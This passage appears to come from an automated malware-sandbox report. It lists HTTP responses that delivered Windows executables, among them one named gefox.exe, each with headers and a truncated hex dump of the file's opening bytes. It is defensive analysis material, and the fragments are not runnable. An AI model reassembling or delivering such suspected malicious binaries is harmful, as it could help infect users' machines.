00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Wed, 18 Sep 2024 12:30:07 GMTContent-Type: application/octet-streamContent-Length: 3064607Connection: keep-aliveContent-Description: File TransferContent-Disposition: attachment; filename=gefox.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 9e 00 00 00 46 00 00 00 00 00 00 f8 a5 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 30 9d 00 00 00 10 00 00 00 9e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 50 02 00 00 00 b0 00 00 00 04 00 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 8c 0e 00 00 00 c0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 c4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Sep 2024 12:30:07 GMTContent-Type: application/octet-streamContent-Length: 360824Last-Modified: Tue, 17 Sep 2024 17:02:37 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e9b62d-58178"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 33 a2 e9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 4e 05 00 00 08 00 00 00 00 00 00 6e 6c 05 00 00 20 00 00 00 80 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 6c 05 00 57 00 00 00 00 80 05 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 58 05 00 78 29 00 00 00 a0 05 00 0c 00 00 00 dc 6a 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 4c 05 00 00 20 00 00 00 4e 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e8 05 00 00 00 80 05 00 00 06 00 00 00 50 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 05 00 00 02 00 00 00 56 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 6c 05 00 00 00 00 00 48 00 00 00 02 00 05 00 20 5d 05 00 bc 0d 00 00 03 00 02 00 0a 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 18 48 6e e1 2b 4a 18 78 7e b4 b6 4f b1 63 a6 85 41 ae fe 4f 77 1e 75 ad 01 d9 20 18 dc d9 18 17 cd 22 89 0f eb c6 cb 5f c0 8f bd 9e 13 c8 6f 83 76 1d 1b 76 6c cd 1e d0 e1 11 de 78 10 4e 11 97 2b 54 5b 41 a6 0d 7f 67 17 a7 11 f6 c1 66 5b 71 8e 22 4c 1a 22 b3 77 4b 4f 38 ce 38 60 d8 cf 22 85 33 f4 8b 6a a3 37 89 dc 0f 50 d4 55 d4 b6 4e de 79 58 92 86 cc 82 67 1a 84 f2 25 22 0a 5c b5 d0 94 f9 c2 b3 3e 82 eb eb 38 b7 24 90 af 80 d0 ce 54 3f 75 4d 24 ce c1 af e1 81 d5 00 43 32 a7 38 f9 9b dd be 8d 97 89 a3 bf 5b b9 59 61 d0 10 1f ce 97 a8 6e 7c c6 4d 9f 6f ec f3 a6 0d aa a0 79 ae a9 45 c2 c7 d2 ee c5 03 9b b2 16 75 a8 82 72 0b d2 a2 6c 0f 4f 84 33 54 19 c1 49 ef 1f 88 e2 df 29 ec 4d 64 27 af c9 93 63 ec 32 00 4c 42 df 7b 5a 24 91 13 9d 52 78 e2 8e f1 da 35 ee f9 04 5f 8b 38 1c 03 40 d5 ac 40 35 16 cc 2c 62 9f 0d a3 79 5f 25 38 82 5f 99 9d 61 59 e8 50 88 b9 2f ec 03 81 85 d7 3e 37 e3 9e 17 7c c6 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Sep 2024 12:30:08 GMTContent-Type: application/octet-streamContent-Length: 11496960Last-Modified: Wed, 18 Sep 2024 05:25:37 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ea6451-af6e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 ad 2b dd 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 5d 70 fd 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 a8 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 d1 fd 00 3c 00 00 00 00 50 a5 01 d8 04 03 00 40 16 a5 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 46 00 01 28 00 00 00 00 15 a5 01 38 01 00 00 00 00 00 00 00 00 00 00 00 d0 f8 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 81 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b8 1e 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 e7 c9 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 70 e4 2d 00 00 e0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 58 00 00 00 00 d0 f8 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 a0 60 ac 00 00 e0 f8 00 00 62 ac 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d8 04 03 00 00 50 a5 01 00 06 03 00 00 68 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Sep 2024 12:30:11 GMTContent-Type: application/octet-streamContent-Length: 331128Last-Modified: Tue, 17 Sep 2024 14:19:29 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e98ff1-50d78"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4d 7d e9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 da 04 00 00 08 00 00 00 00 00 00 6e f8 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 f8 04 00 57 00 00 00 00 00 05 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 e4 04 00 78 29 00 00 00 20 05 00 0c 00 00 00 dc f6 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d8 04 00 00 20 00 00 00 da 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e8 05 00 00 00 00 05 00 00 06 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 f8 04 00 00 00 00 00 48 00 00 00 02 00 05 00 20 e9 04 00 bc 0d 00 00 03 00 02 00 0a 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 75 b1 47 68 88 5c 03 91 79 13 e0 ad 25 3a d6 e5 b6 92 00 d2 c5 7a 4d 9c 24 dc 20 76 f0 e2 f5 89 af 73 03 8c 9b 38 37 17 e3 85 6b 45 b3 65 66 a3 17 e6 fc 86 49 43 70 06 4d 17 c0 a0 83 dd cc e4 5e 1c 82 25 ef 5e 91 89 68 61 32 07 0d ab 2f cf d6 ad 72 00 95 22 1a 0f ca 03 06 20 19 a2 11 d8 23 a4 e9 e5 7a 30 62 6c f8 a1 17 c6 86 76 9b 29 b8 c5 82 88 b4 d1 f5 c5 49 ab 4d 81 ba 9e b3 2e 61 8b 32 96 32 38 c5 86 fc 2c 85 3a a0 b1 67 3e 9f 73 e5 1f 9c de 2b 7a fb d4 bf 7b b8 17 ed f2 36 0d 14 66 8b e6 dd 5a 7e a6 a0 88 41 ca 30 33 37 51 f7 7e cf 29 51 fd 99 9f 89 b2 ff b5 9b 9a 07 70 44 3e 7c 57 f7 1f 66 39 de 80 31 f8 b9 8b cf 5e 3c 88 18 23 ce 50 6b 17 81 e0 ce fe 71 cf 31 47 e5 ac e8 f7 30 60 95 7a 55 20 19 ab 42 22 4c ae a1 7a f0 d9 0a c3 b1 26 56 44 bf d8 fc 48 e4 ec e3 ad fc c1 bd 21 4c b3 76 5c f8 30 09 fe 5b 47 e5 55 71 0b 94 23 92 51 72 35 58 86 46 47 4b 75 c7 d3 6e 3f 2a 60 c2 dc bc db d7 31 f
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Sep 2024 12:30:11 GMTContent-Type: application/octet-streamContent-Length: 331128Last-Modified: Tue, 17 Sep 2024 14:19:29 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e98ff1-50d78"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4d 7d e9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 da 04 00 00 08 00 00 00 00 00 00 6e f8 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 f8 04 00 57 00 00 00 00 00 05 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 e4 04 00 78 29 00 00 00 20 05 00 0c 00 00 00 dc f6 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d8 04 00 00 20 00 00 00 da 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e8 05 00 00 00 00 05 00 00 06 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 f8 04 00 00 00 00 00 48 00 00 00 02 00 05 00 20 e9 04 00 bc 0d 00 00 03 00 02 00 0a 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 75 b1 47 68 88 5c 03 91 79 13 e0 ad 25 3a d6 e5 b6 92 00 d2 c5 7a 4d 9c 24 dc 20 76 f0 e2 f5 89 af 73 03 8c 9b 38 37 17 e3 85 6b 45 b3 65 66 a3 17 e6 fc 86 49 43 70 06 4d 17 c0 a0 83 dd cc e4 5e 1c 82 25 ef 5e 91 89 68 61 32 07 0d ab 2f cf d6 ad 72 00 95 22 1a 0f ca 03 06 20 19 a2 11 d8 23 a4 e9 e5 7a 30 62 6c f8 a1 17 c6 86 76 9b 29 b8 c5 82 88 b4 d1 f5 c5 49 ab 4d 81 ba 9e b3 2e 61 8b 32 96 32 38 c5 86 fc 2c 85 3a a0 b1 67 3e 9f 73 e5 1f 9c de 2b 7a fb d4 bf 7b b8 17 ed f2 36 0d 14 66 8b e6 dd 5a 7e a6 a0 88 41 ca 30 33 37 51 f7 7e cf 29 51 fd 99 9f 89 b2 ff b5 9b 9a 07 70 44 3e 7c 57 f7 1f 66 39 de 80 31 f8 b9 8b cf 5e 3c 88 18 23 ce 50 6b 17 81 e0 ce fe 71 cf 31 47 e5 ac e8 f7 30 60 95 7a 55 20 19 ab 42 22 4c ae a1 7a f0 d9 0a c3 b1 26 56 44 bf d8 fc 48 e4 ec e3 ad fc c1 bd 21 4c b3 76 5c f8 30 09 fe 5b 47 e5 55 71 0b 94 23 92 51 72 35 58 86 46 47 4b 75 c7 d3 6e 3f 2a 60 c2 dc bc db d7 31 f
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Sep 2024 12:30:11 GMTContent-Type: application/octet-streamContent-Length: 1555388Last-Modified: Mon, 16 Sep 2024 17:33:54 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66e86c02-17bbbc"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 4b 5a 65 25 2a 34 36 25 2a 34 36 25 2a 34 36 2c 52 b7 36 26 2a 34 36 2c 52 a7 36 34 2a 34 36 25 2a 35 36 89 2a 34 36 3e b7 9e 36 2b 2a 34 36 3e b7 ae 36 24 2a 34 36 3e b7 a9 36 24 2a 34 36 52 69 63 68 25 2a 34 36 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 cf e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 70 00 00 00 b4 42 00 00 42 00 00 99 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 fc e9 17 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 30 47 00 42 8d 04 00 00 00 00 00 00 00 00 00 64 8d 17 00 58 2e 00 00 00 90 3f 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1c 6f 00 00 00 10 00 00 00 70 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 66 3e 00 00 b0 00 00 00 02 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 20 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 42 8d 04 00 00 30 47 00 00 8e 04 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0e 32 00 00 00 c0 4b 00 00 34 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Sep 2024 12:30:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 